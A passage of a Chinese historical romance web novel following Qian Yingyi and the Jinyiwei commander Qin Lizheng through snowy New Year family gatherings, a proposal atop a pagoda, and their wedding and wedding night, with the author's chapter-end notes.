静抱片刻,又往怀里摸出个精致小瓶,指尖挖了点面脂往她脸上搽,拇指绕着她的腮畔打转,嗓音低得缠绵,“酸得我都忘了要替你擦一擦脸,京师是不是很干?这几日,脸上是不是不太舒服?这面脂是我管郑尚仪要的,宫里头的好东西,你感觉如何?” 钱映仪由他搽脸,看他垂眼时微翘的羽睫,心里美滋滋的,尾巴要跟着翘上天。 她的脸被他一双暖和的手掌掬着,她的人便也被他隐含庆幸的话语捧得高高的,使她心里那丁点儿讨饶霎时褪去,反客为主兜住他的腰,拿湿润的脸去蹭一蹭他,“好香,我喜欢这个味道。” 继而,带着点迤逗的话语浮动在他的耳畔,“我琢磨出来了,你不单单是吃醋,你还有点儿紧张。” “秦离铮,要娶我,你紧张什么呀?”—— 作者有话说:又甜一章!我就是胰岛素的克星桀桀桀 明天估计收尾完结了~ 在南方待久了回北方就是要多往脸上抹香香!!! 第57章 日色渐晚,积雪簌簌自屋檐往下落,霜寒浓重,雪花挂在枝干像极了白云做的丝绸,四周静谧,唯独剩下小厮扫雪之声。 一滴冰水“啪”地一声落进钱映仪的发丝里,顺着往后颈淌,激得她窃窃笑了两声,闷头往秦离铮的披风底下钻,“你快说呀,你是不是在紧张?” 她娇憨起来实在可爱,秦离铮忍俊不禁将唇角勾起来,完成先前浮动在她身上的期盼,俯着身子,拿鼻尖蹭过她的脸颊,唇轻轻擦过她的唇畔,又不稳当落下,“是,我很紧张,我紧张得快要开心死了。” 钱映仪被他蹭得连心都在痒,唇不自觉跟着他走,蕴在浓睫下的一团火把她的脸也烧得红扑扑的,见他还往后退,便倏然往他唇上咬了一口。 蓦地感觉到腰一紧,钱映仪被那只强劲有力的手揽去他身前,侧脸被他另一只手掌捧着来回轻蹭,银戒上的一点冰刮得她轻颤了下。 秦离铮眼底含着有分寸的捉弄,佯装冷笑一声,嗓音益发的低沉,“你胆子挺大,还敢咬我?” 初表心意那一回,她也是一口咬在他的唇上,钱映仪至今还能回味出那个夹杂着一丝铁锈味的、令她头晕目眩的吻。 她才刚张嘴,要逗弄他两句。 谁知秦离铮不给她说话的机会,低了头往她唇上重重印去。这吻比过往的每一次都要重。 待钱映仪喘不过气时,唇上力度复又减轻,轻柔衔着她的唇珠厮磨。 尤其还坏心眼儿地问,“有没有数一数我亲了多少下,双数,还是单数?” 不问还行,一问那还了得。钱映仪心里痒得像有虫在钻,浑身上下都变得难受至极,凤头履往他靴上轻踩,“哎呀,你这人阴险得很呢,我如何记得?” 那双铮亮剔透的眼睛却抬起来直直望向秦离铮,仿佛在邀请他再低一低头,这一回,她定然记在心里数。 秦离铮与她十指交握,垂着视线瞧她,看她微嘟的嘴唇上还沾着点水色,没忍住掬着她的脸蹭一蹭,又往她脸上轻啄两下,“我替你记着,双数,你该回去了。” 钱映仪一怔,通红的脸抬起来瞪他。秦离铮笑得愈加放肆,指头往拐角点了点,“你以为你家扫雪的小厮听不见咱们在这头说话?” “你还有避嫌的时候?”钱映仪两眼不可置信地盯着他 ,随即白了他一眼,“从前没什么关系的时候,你不知道避嫌,现下要成婚了,你反倒哎哎哎,你做什么?!” 她的身子霎时变得轻飘飘的,两个腿弯被他一把兜揽住,作势往拐角那处走,“谁说从前没关系?我几时和你没有关系?” 钱映仪觉得他简直不可理喻,可笑握拳捶他,唇却是往上勾着,笑颜尽显,“有关系,有关系,你对我一见钟情,二见难舍,三见倾心,所以我也对你如此,成了吧?赶紧放我下来!酸、菜、精!” 急风吹雪,拐角另一头的住户倏然打开门,吓得钱映仪忙拍打秦离铮,被他从容放下来,登时一把推开他,没再说什么,唇畔噙着一抹笑,捉裙离去。叫秦离铮产生一种错觉——倘或开了春,她的笑颜定然压过满园芳菲。 这一笑,年关甫至。钱兰亭领着二房一家回了京师,先进宫拜见过皇上,转而就留在钱宅小住。 这日正值午晌,濡湿的雪花铺天盖地往下落,屋子里架着熏炉,烧着暖和的炭。 钱兰亭畏冷,捧着个手炉在怀里,撩帘望一望在外头玩雪的年轻小辈,半晌又把厚重的帘子放下,回身笑了笑,“还是年轻的身板好使,检算起来,我上回见到雪,还是幸姐儿出嫁那日。” 闵琴偎着许珺,两个十分要好,闻听这话便笑了笑,闵琴搭腔道:“那爹可就来得及时,钦天监说,这雪要落到二月底,算是这几年难得一见的大雪呢。” 说起二月,钱兰亭不赞同拿指头点了点钱锦年,道:“怎的把日子定得这么急?” 钱锦年撇撇嘴,往屋外睇了一眼,“我倒还想留着她到开春、入夏了再出嫁,她自个儿能同意吗?爹,您是没瞧见,那日她回来,撞见我同余候说她的亲事,在外头就爬到人家身上去了,我若要说拖一拖,她再爬到我身上来打我,也不是没有这个可能。” 钱兰亭想着钱映仪那模样,不由地自鼻腔里哼出一声笑,“鬼灵精怪。”又问,“嫁妆可都备好了?” 这话引得许珺仰头直笑,“哎唷,爹,您舍不得映仪,就直说舍不得,拐着弯问这个问那个,大哥大嫂怎的不可能替映仪备好嫁妆?” 钱兰亭嗔她,“你也鬼灵精!” 屋子里几个长辈霎时笑作一团,余下说的一些话,无非是—— “我在京师还有些铺面,先前幸姐儿出嫁,我划了一半与她,锦年,这事你去办,把剩下的一半划给映仪。” “爹,您就不给自己留点儿养老?” “喔唷,你这话说的,你如今堂堂三品府尹,日后还要往上走一走,养不起你老子?” 没几时,屋子里又是闵琴与许珺哈哈直笑的声音,透着帘隙传出来,被风刮进钱映仪耳朵里。 她正盘着雪球,竖着耳朵听了听,笑道:“爷爷他们说什么呢,笑得这么高兴。”旋即趁钱林野一个不注意,猛然把雪球砸向他的面门。 “钱映仪!”钱林野气得泼口想骂,屡屡中了妹妹的奸计,心有不甘,盘起雪球就要砸。 待见到妹妹那张脸,又心有不舍,手势一转,砸向噗嗤直乐的钱其羽。 “”钱其羽愤然回击,“堂哥你作弊!” 钱玉幸歪在树下直笑,见堂兄弟两个打得兴起,忙把钱映仪悄然唤至身前,拨一拨钱映仪的海棠花耳坠,霎时又变了副鬼鬼祟祟的神情,小声问,“嗳,姐姐问你,娘有没有给你什么东西?” 钱映仪狐疑,“什么?” 钱玉幸悄么声息窥一窥四周,往袖管子里摸出一本巴掌大的小册子,“这个,先前我出嫁时,娘塞给我的,她竟没给你?” 钱映仪不以为意接来,大大方方斜在天光下瞧,“我看看什么玩意儿这么” 话音未落,她猛然阖上册子,稍有些受惊、却又没那么惊诧的眼把钱玉幸轻瞪,耳根渐渐红了,“还早呢!这时候就把这个给我做什么!” 钱玉幸绞着帕子捂唇笑,余光瞥见钱林野走来,忙不迭地推一把钱映仪,“哥哥来了,赶紧收好。” 吓得钱映仪手忙脚乱往怀里塞,手才刚握了雪,又冷冰冰的,窜进外袍贴着里衣,冻得她的身影轻颤两下。 钱林野这时候行至妹妹们身后,招呼着,“别玩儿了,团姐儿这时候应当是睡下了,我去喊你们嫂嫂出来,咱们在园子里架个火堆,夜里吃烤鸡,如何?” 于是入夜雪停,几个年轻小辈就围坐在园子里,火光映在几张脸上,尤其肆意。 春棠与小玳瑁正是这时候从外头回来的。 少年夫妻与钱兰亭一起走的陆路来京师,两个都没来过,对京师的一切都十分好奇,这几日便携手往外头去耍。 春棠如今是小姐,阖府上下自然没人把她当成丫鬟使,见了她也笑嘻嘻恭敬福身,倒把春棠奉得十分羞赧。 两人甫一围着火堆坐下,夏菱便笑嘻嘻凑近春棠,贴着她的身子亲昵蹭一蹭,旋即扭头问小玳瑁,“如何?我没同你说笑吧,京师是不是比金陵阔气多了?” 小玳瑁把手搁在火上来回烤一烤,带着点惬意笑,“是阔气,头一次见,下回把我爹娘和岳母也带来耍一耍。” 手烤得暖和了,就摸出怀里一包炒栗子,剥出栗仁在火上热一热,继而喂给春棠。 夏菱佯装眼露嫌弃,不爱看这对少年夫妻腻歪,悄然轻掣钱映仪的袖摆,附在钱映仪耳畔道:“小姐,先前回来太高兴,一时忘了与您说,陈老板晓得您回了京师,觉得财路断了一大半,急得在印宝阁直转,后来不知哪根筋搭得正了,又找上我,让我把贺礼带给您,还让我给您带一句话,他说,届时他的印宝阁开到京师来,还请您多担待。” 钱映仪暗暗勾着唇畔笑,小声答道:“他还想来京师与我做生意呢,正也合我心意。” 两人窃窃说了会话,没几时就被钱林野嚷着叫回神,“嗳,一个两个的扎堆抱团说话,这烤鸡还要不要吃了?不许开小差!” 满园雪色,雪中红炭噼啪绽响,几个年轻人也霎时笑作一团,再没沉重与酸涩,多的尽是满心欢喜。 这场雪果真如钦天监所说,是近几年难能一见的大雪。除夕夜,阖家热热闹闹围席而坐,落梅轻轻躺在雪地里,屋子里满是钱锦年与钱佑年两兄弟频频劝酒之声。 “砰——” 钱林野早几日便请了扎炮竹、烟花的师傅往家里来,烟花绽开在半空,空气里飘着炮竹的烟气,引得屋内众人打帘出来瞧,团姐儿也在任郁青怀里兴奋得咿呀乱叫。 自打钱兰亭调任回金陵任职,一大家子人直至今番才算完整的团聚,钱家两兄弟搂肩笑叹,待烟花渐停,劝酒声复又响起。 闵琴与许珺两个绕着团姐儿打转,自然也是欢欢喜喜一张笑颜,逗弄团姐儿的间隙,闵琴余光瞥向余骋,便意味深长笑了笑,一面轻戳团姐儿的拳头,一面柔声道:“团姐儿,团姐儿,烟花好不好看呀?一个小朋友看,是不是太孤单了点儿?” 钱玉幸听出其意,耳廓红了红,暗暗拿胳膊肘拐余骋,低声道:“娘在点咱们呢。” 余骋轻笑,仗着大家都在瞧团姐儿,搭在她腰间的手紧了紧,在她耳畔吐着热气,“团姐儿孤单,我往江南走了一趟,也颇为孤单,你几时多陪陪我?” 羞得钱玉幸腮畔渐染红晕,暗嗔他一眼,一个扭头就捉裙往屋子里去了。 烟花绽开后的彩屑落向雪地,像铺满了一层厚厚的花瓣,大约是临近婚期的缘故,钱映仪瞧什么都觉得喜庆。 她仰脸望向半空,一双眼里仿佛还藏着星星点点的光,顿了顿,牵着唇笑了笑,蓦然旋裙往外头跑去。 谁知才刚踩下门口几截石磴,一个抬眼瞧见静静站在雪地里的身影,钱映仪暗自高兴,压不住嗓音里的笑意,“你在这儿,站多久了?” 秦离铮披着一袭墨黑色披风,底下依旧是墨黑色右衽袍子,额前扎着网巾,束着一顶银冠,眼眉疏朗,丰神俊逸。 他手中握着一盏兔子灯,见她出来,那双幽寂的眼睛立时布遍笑意,“猜到你会出门,没等多久,去走走?” 钱映仪捉裙往他跟前凑,暗窥他稍有些洇润的头发,不信他只等了片刻的鬼话,“嘁”了一声,拔脚往胡同外走,“转一转吧,家里吵,二叔和我爹喝酒的动静太大了,嗯我想想,你是从家里出来的是不是?说起来回京师这么久,我还没见过你的松松呢,它还在褚之言那儿?咱们去看一看!” 秦离铮稍有诧异,牵起她的手藏在披风下,不过只顿了顿,就笑着轻点下颌,“好,带你去。” 拐出胡同后,秦离铮把兔子灯照向她的裙摆,替她照亮脚下的路,不留神想起从前,倏然自胸腔振出两声吭笑。 钱映仪被他笑得发蒙,“你笑什么?” 秦离铮把兔子灯晃一晃,剔眉瞧她,话锋转去从前,“你不是讨厌锦衣卫?说人家踢了你的兔子灯?” 他抿了抿下唇,笑道:“只是想起那时候我纠结要不要向你表明身份,一面怕你因锦衣卫的身份讨厌我,一面又在手札写,绝不踢你的兔子灯,一时觉得好笑罢了。” 钱映仪掬着脸笑,斜眼瞟他,下颌扬得高高的,“你敢踢吗?” 秦离铮晓得她心情极好,佯装闷头想了想,又没忍住去逗弄她,“兔子灯我是不敢踢的,我哪有那个脚劲呢?” 听出他话语里暗藏的逗弄,钱映仪凝视他片刻,蓦然顺手抓起一捧雪往他衣襟里塞,“好啊,又笑话我睡觉不老实,每回都要踢你,是不是?你好大的胆子!” 秦离铮笑着没躲,攫紧她的手腕往怀里拽,“你也跟着冷一冷。” 钱映仪噗嗤笑出声,捉裙躲开他,一个劲往前跑,欢喜由四肢溢出来,隔老远向秦离铮招手,“哎呀,快跟上!我比你跑得快呢!” 辗转半个时辰的功夫,二人行至褚之言的宅子前,松松仿佛似有所感,守门小厮还未把门拉开,呜呜嘤嘤的声音便由门缝里传出来。 待门一开,钱映仪只见一抹红白色“咻”地一下窜到秦离铮小腿下,旋即绕着披风打转,止不住地“汪汪”叫着,正是松松,浑身都是雪白的毛发,身上套一件红得发暗的小袄。 钱映仪讪笑着往后退了两步,“哈哈哈,它真活泼。” 褚之言忙不迭地跟着出来,噙着笑向松松“嘬嘬”两声,见嘬不动,干脆望向钱映仪,展臂给她瞧一眼手里的东西,“赶巧碰上了,我正要往你家去呢,这些都是给团姐儿的。” 秦离铮抱起松松,拿指尖轻挠它的下巴,嗓音很沉,“你也想我,是不是?我带你见个人。” 旋即把松松的脑袋轻轻握着,使它望向钱映仪,又朝钱映仪牵出一抹安抚的笑,示意她靠近,嘴里的话却是对着松松在说,“你去嗅一嗅她的味道,你定然喜欢,可得记熟了。” 松松仰头瞧着钱映仪,慢吞吞往她裙摆下转了一圈,下一瞬,冲她小声“汪汪”叫着,拿爪子刨雪,刨出个小小的坑,自己往那坑里一躺,肚皮朝天。 钱映仪一怔,小声问,“这是何意?” 褚之言笑,“大约你身上有指挥的味道,它亲近你,认你为主呢,邀你摸它的肚皮。” “我真的可以摸吗?”钱映仪暗自搓了搓手,话虽是问出口的,人却已拂裙蹲下,带着丁点儿害怕,小心翼翼把掌心覆在松松柔软的肚皮上。 片刻,见松松兴奋扭了扭身子,她也跟着渐渐睁圆眼睛,带着点惊喜开口,“好软!” 没等她有反应,松松业已翻滚起身,伸出湿漉漉的舌头往她指尖舔了舔,吓得钱映仪一屁股跌坐进雪地里。 秦离铮忙要去搀她,却见她摆一摆手,抖着肩笑出了声,浑然不觉害怕,好像才刚那个神色稍变的不是她一般。 “说起来我好像没那么怕狗了呢,”她笑着跺脚,振去满身的雪沫儿,就着雪水洗手,“只是它好热情,一时半会我还有些招架不住,慢慢来,慢慢来。” 秦离铮把下颌轻点,将松松交给褚之言,跟着她一道抓起一捧雪净手,随即与褚之言款叙两句,复又提着兔子灯,待掌心温度回溢,便去牵钱映仪,向褚之言道:“你往钱家去,见了钱太太,正好与她说,映仪同我在一起,让她别担心。” 两个牵着手一径往外走,走过喧阗夜市,绕至积水潭旁,猛然有人群攒动,兴兴喊道:“往大隆善寺去啊!那儿的视野好,守岁时看烟花正合适呢!” 因此钱映仪收回竖起的耳朵,笑吟吟把自己吊在秦离铮的胳膊上,“阿铮,我们也去。” “好。” 爆竹声起,四周欢声笑语轰闹,爬上大隆善寺的塔顶时,钱映仪气吁吁倚着门框,滚了滚喉咙里的气息,喘着气道:“人真多,你方才瞧见没,我险些被挤下去!” 秦离铮在她面前平静如常,大约是与她待久了,他眼眉里的那丝锋芒之气渐收,更多的是一种平和与温柔,掀眼望着她笑,评点道:“回头领你去锦衣卫营,跟着锻炼锻炼身体。” 钱映仪白他一眼,“我跟你说话呢!”原来是嫌他没答她前头的话。 秦离铮习惯性拂开她细碎的额发,挽去耳后,装作恶狠狠的架势,“谁敢挤你?我现在就去打他。” “哎呀,你别装模作样,”钱映仪目色亮晶晶的,吸一吸凛风,笑嘻嘻直起腰身,拉着他往塔顶边缘靠,指头把远处几点亮光点了点,“那儿,那儿亮着光,瞧着应当是我家。” 没几时,目光又扫过一处地方,兴奋得直拍秦离铮的胳膊,“快看,快看!我那时正是在那里看见你与人家互殴,你看看,你还记不记得?” 二人一路行过来,早已过去两三个时辰,秦离铮偏头望向她的侧颜,正要说话,倏闻底下一阵欢呼,“过年囖!新年初始,万事大吉——!” 下一瞬,数不清的彩光“噌”地往上冒,在塔顶不远处绽开。 街市泛着白银之色,爆竹彩屑铺了满地,家家户户贴着年画儿,四处皆是团圆之声,爆开的烟火映出每一个人的笑颜,以及对来年的期盼,映出一抹耀眼的喜色。 停了半夜的雪复又稀稀散散往下落,多的是孩童嬉戏追闹,嘴里喊着,“你别躲!你不许躲!” “阿铮,你瞧,是不是那里呀?” 秦离铮猛然回神,再度凝视着她的一颦一笑,静静往怀里摸出一个晶莹剔透的玉镯,轻轻拉起她的手,低下身子往她腕上套,“嗯,是那里,你我开始有交集点的地方。” “钱映仪,”他稳稳兜住她的腰身,呼吸近在咫尺,平静的嗓音含着高兴,“戴了我的镯子,你这一辈子,都只能留在我身边了。” 底下的孩童还在笑嘻嘻喊,“不许跑!不许跑!” 他的嗓音也浮动在钱映仪耳畔,“你我之间的姻缘是早就注定好的,那年我只顾与人互殴,没留神你,所以,今番我会把你牢牢捆在身边,你没得跑了。” 仗着塔顶还没人上来,钱映仪笑嘻嘻往他身上跳,腕间玉镯贴紧他的后颈。她额心舒展开,往他脸上重重嘬出一声,不大服气道:“谁捆谁,还不一定呢。”—— 作者有话说:[撒花][撒花][撒花][撒花]《 》 【全文完结】 第58章 爆竹声响,笑声四起,光阴瞬转,二月初一方至。 日日见着钱兰亭抱着手炉畏冷的模样,钱映仪也跟着察觉到一点寒,大清早被闵琴自被衾里捞出来时,颇为不高兴,固执往下倒,嘴里嘟囔着:“哎呀,娘,再睡会儿,我再睡会儿。” 晏秋雁与璎娘早在前两日便抵达京师,昨夜加上春棠与夏菱,还有钱玉幸同任郁青,六七个女孩子悄么声息说话说 到了后半夜。 今番叫钱映仪天未亮就起身,的确稍显为难。 换作往常,闵琴就由她睡去了,今日这大喜的好日子,哪能够?于是闵琴撩起帐子挂在银勾上,凉飕飕道:“那你睡,回头礼没成,你可别赖娘没提醒你。” 钱映仪一个猛子就从被衾里爬了出来,澄澄笑起来,“我起!我起了嘛!” 家里的三小姐要出嫁,钱宅上上下下热闹至极,丫鬟小厮都打扮得俏丽喜庆,兜着一篮子喜糖钱币往外头去,逢人便道:“今日我家三小姐出嫁哩,嫁给秦指挥!烦请您多担待,多说一两句吉祥话,啊!” 外头热闹,屋子里的几片裙摆也旋来旋去,钱映仪穿一身大红麒麟圆领通绣袍嫁衣,戴着凤冠,端坐在镜前,由妆娘在脸上施妆傅粉,这时候她早已醒神,笑嘻嘻透镜望向晏秋雁,“雁雁,你说,岚阿风要是也在,该有多好?” 晏秋雁眨眨眼,把秀眉轻挑,抿着下唇笑了笑,没答她的话,反倒掏出个四四方方的小盒子搁在她手心,“新婚贺礼,我使人打的,你可得收下。” 钱映仪指尖拨开暗扣,垂眼一瞧,登时讶然张嘴,“我说怎的沉甸甸的,这么大个金雀,你真舍得。” “自然囖,”晏秋雁俯在她耳畔笑,“嗯你这妆面与金陵的不一样,我瞧不大习惯,但是你生得好看,这妆面也衬你,对你,我哪有什么舍不舍得的?你只管收着,我荷包里还有不少钱呢阿风没来,但你记得,没人的时候瞧一瞧盒子底下。” 最后这句话,嗓音陡低,轻得只有钱映仪能听见,钱映仪目色微颤,隔着铜镜与晏秋雁互相睇眼,半晌勾唇轻笑,“你的心意,我收下了。” 璎娘这时候从外头奔进来,带着一丝风,裙摆翻出一道褶皱,笑道:“来了来了!我听着外头的动静了!” 果不其然,下一瞬轰闹的炮竹声响彻天际,钱映仪免不得回望好友们,大约是有点紧张,深深吸了口气,旋即抿出个还算端庄的笑,由勾着金丝的盖头遮住了笑颜。 胡同里的积雪早已清扫干净,自远处跨马行来迎亲队伍,由锦衣卫开道,身上都挂着绸子,一路行来,便逐渐得见马上的新郎官。 秦离铮今番穿一件大红圆领袍,胸前后背缀以豹纹补子,斜披大红锦缎,腰系革带,笔直的小腿外裹着一双皂皮靴,头戴乌纱帽,两侧各簪一朵金花,只道是俊俏至极,笑意放肆张狂。 碎彩铺满胡同,由余骋带着头,身后跟着钱林野与小玳瑁,三个象征性拦一拦,秦离铮便大大方方进了钱宅大门。 钱宅前厅内,站满了送嫁的亲戚们,钱锦年与闵琴隐含哽咽的训辞甫一说出口,钱映仪的肩便有些轻颤。 又发觉爷爷没怎么说话,便晓得他已饱含不舍,定然在她瞧不见的地方悄悄擦眼泪,她也好半晌才平缓下来,轻声拜别爹娘,继而趴上了钱林野的背。 小时候她也趴在哥哥背上耍,一晃过去这么多年,再趴上来,竟是嫁人。 钱林野兜着她一步步走得又稳又慢,嗓音里含着不舍,反反复复叮嘱道:“即便是再喜欢他,你往后同他相处,过一辈子,也得留个心眼儿,别傻兮兮的他说什么就是什么,把权力抓在自己手里,明白了吗?” 钱映仪轻声呜咽,“晓得了。” 没几时,钱映仪被钱林野放下,只隐隐得见外头地面一片艳红,旋即一阵薄荷气席卷而来,入眼得见一双皂靴,紧接着,手被握住,来人牵着她进了喜轿。 迎亲队伍走到哪里,炮竹彩屑便洒到哪里,整个京师都知今日秦、钱两家喜结连理,一面跟着说些“永结同心”的吉祥话,一面就跟着喜轿走几步,热闹至极。 停轿时,钱映仪隐听秦离铮在外头同喜婆婆说话,大约是些新娘子脚不沾地之类的话。 钱映仪正暗自琢磨自己该如何应对,不防轿帘被猛然掀开,一阵冷冽的风夹杂着他的气息席来,她尚且来不及惊呼,整个人被捞进了怀里。 继而是他含笑的嗓音,“那就抱着进去。” 待喜婆婆忙不迭跟在身后提醒可以放她下来时,秦离铮方让钱映仪站好,将一截喜绸塞进了她的手里,自己牵着另一端,趁着人声鼎沸,低声道:“钱映仪,我说过,我会牵着你,成为我的羁绊。” 或许是婚仪前没有与他相见,乍然听见这句话,钱映仪心头的悸动久久不能平息。他说她是他的羁绊,原来她和他终于走到了这一步。 直至礼成,被送进洞房,她都久久未能回过神,还是由秦离然那始终未过门的娘子——叶蔚提醒,该行合卺礼,钱映仪才紧紧攥着喜绸,牵带出一丝紧张。 转而是秦离铮倒酒的哗哗声,她的手心被塞进一盏酒,那只稳托的手如往常那般,托起她的胳膊,手从她的肘间绕来,与她一并喝了这口象征天作之合的合卺酒。 往后便是一阵繁琐的婚仪,剪发同心,说喜庆话,新房里再静下来时,屋子里只剩钱映仪一个人。 她稍松一口气,窃窃捻着盖头掀开一角,见果真没人,便一把掣走盖头,歪在床柱旁喧出一声叹息,“天老爷,嫁人真累。” 静坐片刻,她四面睃巡起这间新房。 这宅子并非是秦宅。 过完元宵,皇上曾急召秦离铮入宫过一回,那时把她唬一跳,以为皇上又指派什么任务交代秦离铮去办,谁知竟是赐他新宅,一说为着他办事得力,先前抓捕一众贪官,以作奖赏,二说此宅恰好贺他新婚。 因此两家急急忙忙改来改去,又把这新宅装点了一番。 钱映仪牵出一抹笑,独自在新房里转了两圈,想到这里日后便是她与他的小家,心中难掩欢喜,一个人坐在案前笑了半日。 高兴过后,便又有些乏累,到底昨夜没睡足觉,眼皮越来越重,想着今番还是自己的大喜日子,钱映仪忙不迭又摸回榻前坐着,把盖头胡乱盖在脑袋上,下一刻,便歪在床柱旁迷蒙睡去。 秦离铮轻轻推门进来时,身上沾了点酒气,手中还提着食盒,撩眼一瞧,一看便知她歪歪扭扭的坐姿,便知她在睡。 秦离铮忍俊不禁勾着唇笑,把食盒搁下,轻步往她那头去,屈膝蹲在榻前,歪着脑袋瞧她酣睡的睡颜。 片刻,他轻声唤:“娘子。” 钱映仪似有所感,竟一如他们初见那般,烦躁把手摆一摆,连眼都没睁,“走开。” 秦离铮稍稍挑眉,展开双臂支在榻上,环住她,也不说话,只隔着盖头去亲她的唇。满室红光,连带着这一吻都尽显迤逦,钱映仪呼吸不顺,总算一把推开他,盖头下的眼睛猛然睁开。 她急喘片刻,垂眼望见一双皂皮靴,心头一跳,忙不迭清清嗓,道:“你你回来了。” 秦离铮眼里蕴着笑,起身去寻秤杆,轻轻挑起了她的盖头,把她带着点羞怯的花颜尽收眼底,没再喊娘子,反倒一改往常口径,“乖宝。” 钱映仪一颗心霎时提到嗓子眼,骨头跟着发软,连红缎鞋都悄然缩进了裙摆里,她垂着视线,小声道:“你干嘛呀,谁许你这么喊了。” “我先前叫你,你没应,”秦离铮牵她起身,嗓音温柔至极,“那就不能怪我乱喊了。” “饿不饿?我带了吃食与你。” 钱映仪由他牵到桌旁坐下,正够眼往食盒里瞧,脑袋上的凤冠便被他取了下来。 秦离铮带着点诧异掂了掂,“还挺重。” “你才晓得?”钱映仪把脑袋晃晃,耳坠轻打在脸上,珠子清脆响了响,“我先前就想取下,想了想,还是等见了你再取比较妥当,硬生生忍着呢。” 秦离铮没讲话,把吃食摆在她面前,旋即替她轻捏肩颈,“那真是累着你了,先吃饭。” 钱映仪心里甜丝丝的,欢天喜地把那些吃食用掉一半,轻轻摸了摸柔软的小腹,隐听外头还在吵,便问,“你就过来了,他们也没留你?” “谁敢留我?”秦离铮轻握她的下颌,看她浓长的羽睫如羽毛轻扫在他的心头,笑了笑,“吃饱了?歇一会,你可瞧过这屋子里的布局了?” 钱映仪把下颌轻点,“瞧过了,好大个水池。” “里头是引进来的热水,机关巧妙,用过便会再换,”秦离铮端详她的妆面,半晌赞道:“天仙般的人,怎的就被我娶回家了?” 钱映仪笑嘻嘻躲开,这时候彻底放松下来,挽着他的胳膊说起话来,“嗳,我先前听那叶小姐说话还有点不适应呢,你说,回头我该叫她嫂嫂,还是?” 秦离铮仔细想了想,“哥哥离世后,她也不愿再嫁,后来我不在家的这些年,她时常来陪着爹娘说话 ,爹娘干脆认她做了干女儿,虽未嫁给哥哥,于我们家而言,却算得上是亲人,叫姐姐?” 钱映仪扇一扇浓睫,又嘀咕道:“今日我隔着盖头不好瞧人,你先同我说,你家亲戚多不多?” “想什么呢,”秦离铮好笑轻戳她的额心,“爹娘说了,咱们单独住在一边,那些亲戚都不用管,你认不认得都没什么要紧,你如今是我的夫人了,怎么,堂堂锦衣卫指挥使的夫人,不得坐在家里等人来同你说话?” 这么一说,钱映仪又有两分得意,喜滋滋点头,“说得有点道理,那我就干脆什么都不管了,家里的事也交给夏菱去办,她昨儿夜里还摩拳擦掌说要当“夏大人”呢。” 渐渐地,钱映仪的话茬又打开,拉着秦离铮嘀咕半日,说得累了,便轻推他,眼睑下浮着一抹淡红,“你先去洗,还是我先?” 秦离铮就等着她开口,起先没急,是担心她没从疲累中缓过神,此番她话音甫落,他便带着点急迫往她唇上亲,顺势把她打横抱起,呼吸渐渐浓重,“一起。” 浴房里延绵出洇润的热气,倒进帐子里时,一些动静仿佛不再受控制。 钱映仪手中掌控着他的发丝,无论是湿濡的声响,还是被碾过的感觉,都好似化作一团火。 她模糊望着烧得沸腾的喜烛,又觉得自己像艘轻飘飘的孤帆,被那火星子一燎,霎时点燃了神经与沸腾的血液。 唇齿绞缠时勾出一点银/丝,直到这一刻,她好像才弄懂他先前还稍有克制。 秦离铮像是打定主意要让她浑身都烧起来,吻流连在她的耳畔,含着她颈侧的软肉轻轻舔/舐,一点点碾出她不成调的低哼。 “阿铮”钱映仪有些承受不住心头的搔痒,带着点急切搂住他,“我我准备好了” “不急,再等等,”秦离铮垂眼盯着她鬓边的汗珠,俯身卷走,虎口抬起她的下颌,低声哄道:“阿铮?不打算改口?” 钱映仪险些被他另一只也不得空闲的手勾走三魂七魄,她猛然伸手去制止,带着点生涩,脱口而出唤道:“夫君官人” 秦离铮顺手把那些情意抹在她的手心,握起来,放在唇边吻了吻,眼神火热得仿佛下一刻就要吞吃殆尽。 “今日,是不是很累?”他忽然轻勾她的腿弯,轻轻摁着,温热的掌心替她舒缓一丝酸,“这样按,舒服吗?” 钱映仪被他盯得撇开脸,却又被他吻着勾回来,逼迫她与他四目相对,“嗯?” “还还行阿铮”钱映仪有点难以消受这样的折磨,往前贴了贴,“你能不能正经些。” 秦离铮下颌滑过几滴汗,坠在她的锁骨上。 大约是从前在山野待过几年的原因,秦离铮深知捕猎时,需叫猎物一再放松,因此他垂眼盯着她,缓缓试探着送,细观她湿漉漉的眼睛里有没有惊惧与害怕,或是排斥。 他宽厚的手掌捧着她的脸,嗓音温柔至极,忍不住喃喃:“好映仪娘子” 比之他捕猎的过程,他更想要她炙热温度下的张弛。 秦离铮带着怜惜卷走她的汗珠,待到一切接近圆满,他闭了闭眼,密密麻麻的吻压向她,感受她颤栗的兴奋,与她彻底严/丝/合/缝地捆在一起。 钱映仪低喘一口气,神情有点涣散,连胳膊上都浮着一层薄薄的汗。 说实在话,她向来觉得自己胃口还算大的,如今却有些太/撑。也是到此刻,她有些后悔,后悔为何把姐姐赠与自己的那小册子抛之脑后。 僵了片刻没动,挨过那阵磅礴的痉挛感,钱映仪才找回自己,被捆住的身躯渐渐放松下来,带着点颤音,下意识轻轻阖眼,“阿铮” 无人应声,回答她的只有一团裹挟着兴奋的火。秦离铮额发被汗水洇湿,俯身亲她,缓缓试探着把她推向狂卷的海浪—— 喜烛燃尽,夜还漫长,同心和鸣时,唯有缠绵见证至死方休的爱意。 出了年关,便是日复一日的大晴天,残雪白日消融,夜里又积攒起来。 新婚后,钱映仪总是要拜见公婆,也总是要回门的。忙忙碌碌好一阵,这日正是二月初十,她盘着松松的髻,摘了朵花插在鬓后,兴兴带着夏菱往外头去。 正转出大花园,冷不丁与从外头替她买吃食的秦离铮撞上。 秦离铮懒洋洋抱臂挡在她身前,俯身看一眼她鬓后的花,把眉轻扬,“脸上素净,却还晓得簪花,娘子,你往哪里去?” 钱映仪一连嗔他,眼珠子骨碌碌转了几圈,见四下无人,踮脚往他耳畔轻声道:“我打算背着你去见个人呢。” “背着我?”秦离铮一揽她的腰,往她下颌轻咬,带点装出来的凶狠,“见谁?嗯?” 钱映仪笑嘻嘻往后躲,“不要闹,正好碰上,你去不去?” 夏菱眼观鼻鼻观心,道:“太太,府里还一堆下人要管教呢,您同指挥去吧。” 钱映仪讶然,“你几时这么忙了?” 哪里是忙?秦离铮赞赏望一眼夏菱,揽着钱映仪的肩往外去,一面把买来的栗子糕递给她,“与我说说,要见谁?” 钱映仪牵出抹神秘莫测的笑,卖了个关子,“不告诉你,你去了就晓得了。” 因此马车辗转绕城半日,出了西直门,停在城外一家不起眼的客栈前。天色晴朗,树下一人已然久等,扎着幅巾,穿一身湖绿直裰,披着大氅,转过来却是一张俏生生的脸。 秦离铮见其真容,蓦然扬了扬眉。 宁风轻笑,向钱映仪展开双臂,“许久不见,映仪。” 